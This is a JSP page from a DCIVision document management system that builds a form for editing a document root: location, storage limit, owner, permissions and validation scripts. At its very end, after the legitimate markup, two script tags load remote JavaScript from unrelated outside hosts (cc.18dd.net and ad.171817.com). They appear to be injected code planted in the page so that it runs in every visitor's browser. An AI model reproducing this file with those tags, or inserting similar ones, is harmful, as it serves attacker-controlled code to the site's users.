<%
/*
 * @(#)EditDmsRoot.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsRoot.jsp

  This class is reflecting business logic uses.

    @author           Rollo Chan
    @company          DCIVision Limited
    @creation date    13/08/2003
    @version          $Revision: 1.35.4.16 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.DmsLocMasterDAObject"%>
<%@ page import="com.dcivision.dms.bean.DmsLocMaster"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsRootForm" scope="request" class="com.dcivision.dms.web.MaintDmsRootForm"/>

<%
  String permType = "RFIAENTCMDHZVLUSB";
  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  if (sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion()) {
    permType = "RFIENTCMDZUB";
  }
  if(!supportEmail){
    permType="RFIAENTCMDHZVUSB";
  }
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DmsLocMasterDAObject locMasterDAO = new DmsLocMasterDAObject(sessionContainer, conn);

  DmsLocMaster dmsDoc= new DmsLocMaster();
  
%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "dms.label.permission_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>
//-->
</script>
<script language="Javascript">
<!--


function checkUnlimit(){
 if (document.maintDmsRootForm.unlimit.checked==true){
     document.maintDmsRootForm.storageLimit.disabled=true;
     document.maintDmsRootForm.storageLimit.value='';
 }else{
     document.maintDmsRootForm.storageLimit.disabled=false;
 }
}

function opCustSave(){
  //zero is not allow for input for storage limit
  if(document.maintDmsRootForm.storageLimit.value=="0"){
      alert("<bean:message key='dms.message.not_allow_zero'/>");
      return(false);
  }
  <%if(GlobalConstant.NAV_MODE_NEW.equals(maintDmsRootForm.getNavMode())){%>
  if(document.maintDmsRootForm.locPath.selectedIndex==0 ){
      alert("<bean:message key='dms.label.root_select_location'/>");
      return(false);
  }
  <%}else if(GlobalConstant.NAV_MODE_EDIT.equals(maintDmsRootForm.getNavMode())){%>
   if(document.maintDmsRootForm.editLocPath.value==''){
      alert("<bean:message key='dms.label.root_select_location'/>");
      return(false);
  }
  <%}%>
  if(document.maintDmsRootForm.fromWhom.value == ''){
      alert("<bean:message key='dms.label.root_select_root_owner'/>");
	  return (false);
  }
  if (document.maintDmsRootForm.unlimit.checked==true){
    document.maintDmsRootForm.storageLimit.value="";
  }
  if(document.maintDmsRootForm.storageLimit.value=="" && document.maintDmsRootForm.unlimit.checked==false){
    alert("<bean:message key='dms.message.storage_limit_required'/>");
    return(false);
  }

  return permissionOpSave();

}

function opCustSaveAndNew() {
  //zero is not allow for input for storage limit
  if (document.maintDmsRootForm.storageLimit.value=="0") {
    alert("<bean:message key='dms.message.not_allow_zero'/>");
    return(false);
  }
  if (document.maintDmsRootForm.unlimit.checked==true){
    document.maintDmsRootForm.storageLimit.value="";
  }
  if(document.maintDmsRootForm.storageLimit.value=="" && document.maintDmsRootForm.unlimit.checked==false){
    alert("<bean:message key='dms.message.storage_limit_required'/>");
    return(false);
  }
  <%if(GlobalConstant.NAV_MODE_NEW.equals(maintDmsRootForm.getNavMode())){%>
  if(document.maintDmsRootForm.locPath.selectedIndex==0 ){
      alert("<bean:message key='dms.label.root_select_location'/>");
      return(false);
  }
  <%}else if(GlobalConstant.NAV_MODE_EDIT.equals(maintDmsRootForm.getNavMode())){%>
   if(document.maintDmsRootForm.editLocPath.value==''){
       alert("<bean:message key='dms.label.root_select_location'/>");
      return(false);
  }
  <%}%>
  if(document.maintDmsRootForm.fromWhom.value == ''){
      alert("<bean:message key='dms.label.root_select_root_owner'/>");
	  return (false);
  }
  return permissionOpSaveAndNew();
}

//-->
</script>
<html:form action="dms/MaintDmsRoot" styleClass="form-style-2">
<html:javascript formName="maintDmsRootForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='locID'/>
<html:hidden property='rootFolderID'/>
<input type="hidden" name="rootType" value="<%=DmsRoot.PUBLIC_ROOT%>">
<input type="hidden" name="ownerID" value="<%=sessionContainer.getUserRecordID()%>">
<%try{ %>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
      <layout:returnButton className="btn-standard" returnURL='<%="ListDmsRoot.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    </div>
</div>

<div id='generalContainer' class="generalContainer">
		<div class="wrapperContainer-clearfix">
<table width="100%">
<tr><td>
<table width="100%">
  <br>
  <!-- Section Header -->
  <layout:sectionHeader name="dms.label.root_info"/>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.root_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='rootName' size='40' maxlength='100'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" valign="top" width="150"><bean:message key='dms.label.root_location'/>:&nbsp;</td>
    <td class="formFieldSmall"> 
	<%if (GlobalConstant.NAV_MODE_NEW.equals(maintDmsRootForm.getNavMode())){
      List locList = locMasterDAO.getFullList();
      if(!Utility.isEmpty(locList) && locList.size()==1){
       DmsLocMaster dmsLocMaster=(DmsLocMaster)locList.get(0);

  %>
      <%=dmsLocMaster.getLocPath()%>
      <input type="hidden" name="locPath" value="<%=dmsLocMaster.getID()%>">
  <%
      }else{
  %>
	  <html:select property='locPath'>
        <html:options dbListName='locMasterList'/>
      </html:select>
    <%}%>
	  <%}else{%>
	    <% if(maintDmsRootForm.getLocPath()!=null){
             dmsDoc=(DmsLocMaster)locMasterDAO.getObjectByID(TextUtility.parseIntegerObj(maintDmsRootForm.getLocPath()));
         }else{
		     dmsDoc=(DmsLocMaster)locMasterDAO.getObjectByID(TextUtility.parseIntegerObj(maintDmsRootForm.getLocID()));	 
		 }%>
		 <%=dmsDoc.getLocPath()%>
		 <input type="hidden" name="editLocPath" value="<%=dmsDoc.getLocPath()%>">
	  <%}%>
	  
	</td>
  </tr>
  <tr>
    <td class="formLabelSmall" valign="top" width="150"><bean:message key='dms.label.root_desc'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property='rootDesc' cols='40' rows='4' textlimit='255'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" width="150"><bean:message key='dms.label.storage_limit'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">

   <%if ("0.0".equals(maintDmsRootForm.getStorageLimit())){    %>
       <html:float property='storageLimit' disabled='true' value='' size='10' maxlength='20'/> MB <%//=Utility.isEmpty(maintDmsRootForm.getStorageLimit())?"":"MB"%>
   <% }else{
         if((maintDmsRootForm.getOpMode()!=null)&&(maintDmsRootForm.getStorageLimit()!=null) && GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){
              out.println(TextUtility.formatStorageSize(new Double(maintDmsRootForm.getStorageLimit()),"MB"));
         }else{
   %>
       <html:float property='storageLimit' size='10' maxlength='20'/> MB
   <%    }
      }%>
       <html:checkbox property='unlimit' value='Y' onclick="checkUnlimit();" /><bean:message key='dms.label.root_unlimit'/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" width="150">
     <bean:message key='dms.label.root_owner'/>:
    </td>
	<td class="formFieldSmall">
	  <html:userpicker property='fromWhom'/>
	</td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='12'/></td>
  </tr>
  </table>
</td></tr>
<tr><td>
<br>
    <table width="100%" cellpadding="2" cellspacing="2" border="0">
    <layout:sectionHeader name='setup.label.access_right_info' mandatory='false' legendType='USER_TYPE'/>
    <tr><td>
        <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr><td nowrap valign="top">
            <layout:permissionSetup permissionType='<%=permType%>' labelPrefix='dms.label.permission_'/>
        </td></tr>
        </table><br>
    </td></tr>
    </table>
</td></tr>
</table>
</div>
</div>

<div class="generalBottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return opCustSave()"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.more" onClick="return opCustSaveAndNew()"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsRootForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintDmsRoot.do?navMode=E&ID=${maintDmsRootForm.ID}"/>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right="D" onClick="return(OpDelete())"/>
    </logic:equal>
    </div>
</div>
<%}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
}%>
</html:form>
<script language="Javascript">
<!--
initVariable(document.maintDmsRootForm);
//-->
</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>